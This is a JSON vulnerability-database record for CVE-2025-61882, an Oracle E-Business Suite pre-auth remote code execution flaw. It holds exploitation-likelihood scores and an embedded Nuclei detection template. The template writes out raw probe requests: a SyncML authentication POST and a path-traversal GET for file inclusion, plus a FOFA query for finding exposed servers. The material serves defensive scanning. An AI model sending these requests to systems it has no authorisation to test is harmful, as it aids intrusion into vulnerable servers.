{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-61882/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-61882/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-61882/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-61882/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-61882/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-61882"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-61882"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.99732,
      "kev": true,
      "percentile": 0.99953
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2025/CVE-2025-61882.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2025-61882\n\ninfo:\n  name: Oracle E-Business Suite 12.2.3–12.2.14 – Remote Code Execution\n  author: testanull,watchtowr,DhiyaneshDk,pussycat0x\n  severity: critical\n  description: |\n    Oracle Concurrent Processing 12.2.3-12.2.14 contains a remote code execution caused by unauthenticated network access via HTTP, letting unauthenticated attackers fully compromise the system, exploit requires network access via HTTP.\n  impact: |\n    Unauthenticated attackers can fully compromise Oracle Concurrent Processing, leading to complete system takeover.\n  remediation: |\n    Update to the latest available version beyond 12.2.14.\n  reference:\n    - https://labs.watchtowr.com/well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882/\n    - https://github.com/watchtowrlabs/watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882\n    - https://www.oracle.com/security-alerts/alert-cve-2025-61882.html\n    - https://blogs.oracle.com/security/post/apply-july-2025-cpu\n    - https://vred.mbbank.com.vn/p/oracle-e-business-suite-authentication\n    - https://gist.github.com/testanull/a897473577b8650932221172e50304ce#file-ebs_cve-2025-61882_poc-py\n  metadata:\n    verified: true\n    max-request: 1\n    fofa-query: title=\"E-Business Suite\"\n  tags: cve,cve2025,oracle,ebusiness,lfi,rce,ssrf,kev,vkev,vuln\n\nvariables:\n  payload: \"sysadmin:INVALID\"\n\nflow: http(1) || http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /OA_HTML/SyncServlet HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/vnd.syncml+xml\n\n        <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n        <SyncML>\n          <SyncHdr>\n            <VerDTD>1.1</VerDTD>\n            <VerProto>SyncML/1.1</VerProto>\n            <SessionID> 1</SessionID>\n            <MsgID>1</MsgID>\n            <Target><LocURI>http://localhost</LocURI></Target>\n            <Source><LocURI>device-123</LocURI></Source>\n            <Cred>\n              <Meta>\n                <Format>b64</Format>\n                <Type>syncml:auth-basic</Type>\n              </Meta>\n              <Data>{{base64(payload)}}</Data>\n            </Cred>\n          </SyncHdr>\n          <SyncBody>\n            <Alert>\n              <CmdID>1</CmdID>\n              <Data>200</Data>\n            </Alert>\n            <Final/>\n          </SyncBody>\n        </SyncML>\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"RespURI\"\n          - \"Final\"\n          - \"sid\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        name: sid\n        part: body\n        group: 1\n        regex:\n          - 'sid%3([A-Za-z0-9]+)%26device'\n\n  - raw:\n      - |\n        GET /OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        name: lfi\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(body, '$Header: ieshostedsurvey.jsp')\"\n        condition: and\n# digest: 4a0a00473045022016cf05a308630f1ef2a660743d2b4196ee059001f4389ab4ecafab2af2b227e6022100e7d0f6a4f5e451c1e76c03d200c103499c24d0ebbcedad09a5dc23046674fb63:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2025-61882"
}